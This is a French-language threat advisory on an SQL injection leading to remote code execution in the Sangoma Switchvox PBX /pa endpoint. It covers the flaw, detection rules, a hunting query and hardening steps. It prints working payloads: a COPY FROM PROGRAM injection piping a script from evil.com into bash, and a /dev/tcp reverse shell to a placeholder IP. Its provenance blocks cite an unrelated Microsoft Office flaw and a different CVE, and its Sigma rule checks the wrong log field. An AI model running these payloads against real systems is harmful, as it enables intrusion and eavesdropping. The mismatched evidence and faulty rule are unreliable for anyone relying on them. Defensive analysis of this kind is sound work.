CVE-2026-9586 : injection SQL non authentifiée et exécution de code à distance dans sangoma switchvox PBX
SCORE DE MENACE HERMES & COMPROMISSION DE TÉLÉPHONIE D'ENTREPRISE
Cible :Sangoma Switchvox PBX (Édition SMB) Le score CVSS v3.1 évalue CVE-2026-9586 à 9.8 (Critique) et CVSS v4.0 à 9.3 (Critique). Le score de menace Hermes Threat Score lui attribue 94 (CRITIQUE). Cette sévérité découle de l'exposition fréquente des serveurs VoIP d'entreprise sur Internet. Une simple requête POST XML vers l'endpoint /pa permet à un attaquant distant d'injecter des commandes SQL dans PostgreSQL avec les privilèges superutilisateur, aboutissant à l'obtention d'un shell root interactif sur le système d'exploitation.
CVE-2026-9586: Unauthenticated SQL Injection to Remote Code Execution in Sangoma Switchvox PBXVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique & matrice des logiciels affectés
Section intitulée « 1. Contexte technique & matrice des logiciels affectés »Sangoma Switchvox combine Asterisk, un serveur web Apache et une base de données PostgreSQL pour gérer le routage des appels d’entreprise, les messageries vocales et le provisionnement des combinés IP.
| Paramètre | Caractéristique Technique | Impact Opérationnel |
|---|---|---|
| Identifiant CVE | CVE-2026-9586 | Fiche NVD et entrée catalogue CISA KEV |
| Service vulnérable | API de provisionnement (/pa) | Script FastCGI derrière Apache HTTP Server |
| Moteur de base de données | PostgreSQL | Dépôt des configurations et journaux d’appels |
| Protocoles réseau | HTTP / HTTPS (80/TCP, 443/TCP) | Interfaces web exposées sur le réseau |
| Origine de la faille | Concaténation brute de valeurs XML | Injection SQL (CWE-89) |
| Versions affectées | Switchvox SMB Edition 8.3 (build 104997) et antérieures | Toutes versions 8.x non mises à jour |
| Version corrective | 8.4.0.2 (Diffusée le 14 juillet 2026) | Mise à jour de sécurité officielle |
| Statut KEV CISA | Inscrite le 30 août 2026 | Exploitation zero-day puis active dans la nature |
2. Décomposition technique : mécanique de l’injection SQL /pa
Section intitulée « 2. Décomposition technique : mécanique de l’injection SQL /pa »A. La faille dans le traitement XML
Section intitulée « A. La faille dans le traitement XML »Le point d’accès /pa écoute les messages de configuration émis par les combinés téléphoniques matériels (tels que Polycom VVX). Le terminal transmet son statut sous forme de document XML :
<PolycomIPPhone> <PhoneIP>192.168.1.50</PhoneIP> <MAC>0004f2112233</MAC></PolycomIPPhone>Le code côté serveur extrait le texte de PhoneIP et assemble la requête de recherche de manière non sécurisée :
# Illustration conceptuelle du traitement défaillantphone_ip = xml_doc.find('PhoneIP').textquery = f"SELECT extension, phone_type FROM phone_assignments WHERE ip_addr = '{phone_ip}'"db.execute(query) # Concaténation vulnérable !L’absence d’échappement des apostrophes permet à l’attaquant de clore la chaîne de caractères et d’enchaîner des instructions SQL multiples.
+----------------------------------------------------------------------------------------------------+| ARCHITECTURE D'EXPLOITATION CVE-2026-9586 |+----------------------------------------------------------------------------------------------------+
[Attaquant Distant] [Appliance Switchvox PBX] │ │ [1] │─── POST /pa HTTP/1.1 ───────────────────────────────────────────────────────>│ Analyseur XML : │ <PolycomIPPhone> │ Extrait la balise <PhoneIP> │ <PhoneIP>'; UPDATE users SET pass_hash=...; --</PhoneIP> │ sans assainissement │ </PolycomIPPhone> │ │ │ [2] │ │ Serveur PostgreSQL : │ │ Exécute la requête injectée avec │ │ privilèges superutilisateur │ │ [3] │─── Seconde Phase : Exécution de Commande Système ──────────────────────────>│ │ <PhoneIP>'; DROP TABLE IF EXISTS cmd; │ Primitif PostgreSQL COPY : │ CREATE TABLE cmd(c text); │ Déclenche un reverse shell │ COPY cmd FROM PROGRAM 'curl evil.com/rev.sh | bash'; --</PhoneIP> │ avec privilèges root/asterisk │ │ [4] │<════ Établissement du Shell Interactif ═════════════════════════════════════│ Hôte totalement compromis │ │ Écoute des communications audio+----------------------------------------------------------------------------------------------------+B. De l’injection SQL à l’exécution de commandes système
Section intitulée « B. De l’injection SQL à l’exécution de commandes système »L’utilisateur de base de données employé par le portail web disposant des privilèges superutilisateur PostgreSQL, l’attaquant exploite la clause COPY ... FROM PROGRAM pour demander au moteur de base de données de lancer un sous-processus shell :
'; COPY (SELECT '') TO PROGRAM 'bash -i >& /dev/tcp/198.51.100.42/4444 0>&1'; --Parallèlement, les attaquants créent de faux comptes SIP dans les tables Asterisk afin de relayer des appels frauduleux vers des numéros surtaxés internationaux (fraude au péage / toll fraud).
3. Threat intelligence, CISA KEV & activités malveillantes
Section intitulée « 3. Threat intelligence, CISA KEV & activités malveillantes »- Entrée CISA KEV : ajoutée le 30 août 2026 suite à des intrusions réussies exploitées par des courtiers d’accès initiaux (IAB) et des groupes de cybercriminalité financière.
- Vecteurs de menaces observés :
- Revente d’accès SSH permanents vers les réseaux d’entreprises hébergeant le standard téléphonique.
- Exfiltration des historiques d’appels détaillés (CDR) et des fichiers de boîtes vocales pour espionnage industriel ou chantage.
- Déploiement de tunnels mandataires (SOCKS) pour pivoter vers les contrôleurs de domaine Active Directory.
4. Matrice MITRE ATT&CK
Section intitulée « 4. Matrice MITRE ATT&CK »| Tactique | ID Technique | Nom de la Technique | Application dans l’Attaque |
|---|---|---|---|
| Accès initial | T1190 | Exploit Public-Facing Application | Requête HTTP POST malveillante vers /pa |
| Exécution | T1059.004 | Command and Scripting Interpreter: Unix Shell | Exécution via COPY FROM PROGRAM PostgreSQL |
| Persistance | T1136.001 | Create Account: Local Account | Insertion de faux comptes administrateurs |
| Collecte | T1125 | Video / Audio Capture | Capture des flux RTP et enregistrements vocaux |
| Mouvement latéral | T1021.004 | Remote Services: SSH | Pivoting depuis le PBX vers le réseau interne |
5. Ingénierie de détection & télémétrie
Section intitulée « 5. Ingénierie de détection & télémétrie »A. Règle Suricata
Section intitulée « A. Règle Suricata »alert http any any -> $HTTP_SERVERS any ( msg:"HERMES DEFENSE - Tentative Injection SQL Sangoma Switchvox /pa (CVE-2026-9586)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/pa"; http.request_body; content:"<PolycomIPPhone>"; fast_pattern; http.request_body; content:"<PhoneIP>"; http.request_body; pcre:"/<PhoneIP>[^<]*(\'|--|;|UNION|SELECT|COPY|FROM\s+PROGRAM)/is"; classtype:web-application-attack; sid:20269586; rev:1; reference:cve,2026-9586;)B. Règle Sigma
Section intitulée « B. Règle Sigma »title: Injection SQL Non Authentifiée Sangoma Switchvox via /paid: c4d5e6f7-9586-4f11-a832-cve20269586-frstatus: productiondescription: Détecte les tentatives d'injection SQL visant le point d'accès /pa de Sangoma Switchvoxauthor: Équipe Cyberdéfense Hermes Codexdate: 2026-09-11logsource: category: webserver service: apache_accessdetection: selection: cs_method: 'POST' cs_uri_stem: '/pa' payload_indicators: cs_uri_query|contains: - 'UNION' - 'SELECT' - 'COPY' - 'PROGRAM' - '%27' condition: selection and payload_indicatorsfields: - c_ip - cs_uri_stem - sc_statuslevel: criticaltags: - attack.initial_access - attack.t1190 - cve.2026.95866. Investigation forensique (DFIR) & chasse aux menaces
Section intitulée « 6. Investigation forensique (DFIR) & chasse aux menaces »Points de contrôle forensiques :
Section intitulée « Points de contrôle forensiques : »- Journaux web Apache (
/var/log/httpd/access_log) : relever les requêtes vers/paprovenant d’adresses IP extérieures ou inhabituelles. - Journaux PostgreSQL (
/var/log/postgresql/) : rechercher les erreurs de syntaxe SQL et l’apparition d’instructionsCOPY ... FROM PROGRAM. - Fichiers de configuration asterisk : inspecter
/etc/asterisk/extensions.confet les tables de base de données à la recherche d’extensions créées récemment.
Requête de chasse (Splunk) :
Section intitulée « Requête de chasse (Splunk) : »index=web sourcetype=access_combined uri_path="/pa" method="POST"| rex field=_raw "<PhoneIP>(?<phone_ip>[^<]+)</PhoneIP>"| where match(phone_ip, "(?i)(SELECT|UNION|COPY|PROGRAM|;|--|')")| table _time, clientip, phone_ip, status7. Recommandations & durcissement
Section intitulée « 7. Recommandations & durcissement »- Mise à jour firmware : appliquer immédiatement la version corrective 8.4.0.2 de Sangoma Switchvox.
- Filtrage périmétrique : ne jamais exposer l’interface web (ports 80 et 443) directement à l’ensemble d’Internet ; restreindre l’accès aux réseaux internes et aux VPN dédiés.
- Privilèges de base de données : dans les déploiements personnalisés, restreindre les droits du compte applicatif pour lui interdire le rôle
SUPERUSERetpg_execute_server_program. - Renouvellement des identifiants : procéder à une réinitialisation complète des mots de passe des comptes administrateurs web et des identifiants SIP.